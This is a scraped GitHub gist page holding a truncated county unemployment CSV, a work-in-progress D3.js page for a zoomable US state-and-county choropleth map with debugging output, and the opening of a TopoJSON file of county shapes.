13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/cf7bedda70b95103bd71b87f159ad269">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.10&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;forEach &apos;+i)
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;About to forEach&quot;)
    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;forEach completed&quot;)
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })
	d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; About to draw map paths&quot;)
    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return &apos;red&apos;
          //return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;